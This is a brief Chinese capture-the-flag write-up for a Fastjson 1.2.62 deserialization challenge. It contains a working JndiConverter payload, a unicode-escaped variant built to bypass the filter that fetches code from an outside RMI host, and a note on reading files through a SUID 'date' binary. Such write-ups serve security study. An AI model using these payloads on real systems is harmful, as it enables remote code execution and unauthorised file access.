蓝帽-Ezgadget
Ez_gadget
主要逻辑代码,对字符串进行了简单的waf
fastjson的版本 1.2.62
1 | <dependency> |
一些对应版本的exp
1 | https://github.com/safe6Sec/Fastjson |
找到对应1.2.62的exp,看使用条件满足,存在xbean-reflect包,还有autotype
1 | {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"} |
访问时候有个hash值,构造与之相等的hashcode,才能过判断到解析
1 | https://blog.csdn.net/weixin_44245828/article/details/109853439 |
代码为,一般是找两个位置这一块的大写字母
1 | import java.util.regex.Matcher; |
项目里面也提到,Fastjson默认会去除键、值外的空格、\b、\n、\r、\f等,同时还会自动将键与值进行unicode与十六进制解码。
unicode绕
1 | str=xH8b2iQfPbGejJgs&input={"@type":"\u006F\u0072\u0067\u002E\u0061\u0070\u0061\u0063\u0068\u0065\u002E\u0078\u0062\u0065\u0061\u006E\u002E\u0070\u0072\u006F\u0070\u0065\u0072\u0074\u0079\u0065\u0064\u0069\u0074\u006F\u0072\u002E\u004A\u006E\u0064\u0069\u0043\u006F\u006E\u0076\u0065\u0072\u0074\u0065\u0072","AsText":"\u0072\u006D\u0069\u003A\u002F\u002F\u0038\u0031\u002E\u0037\u0030\u002E\u0035\u0039\u002E\u0031\u0031\u0032\u003A\u0031\u0030\u0039\u0039\u002F\u0034\u006F\u0036\u0077\u0073\u006A"} |

因为有spring所以用spring那个rmi地址 rmi://81.70.59.112:1099/4o6wsj

没权限
suid
date读文件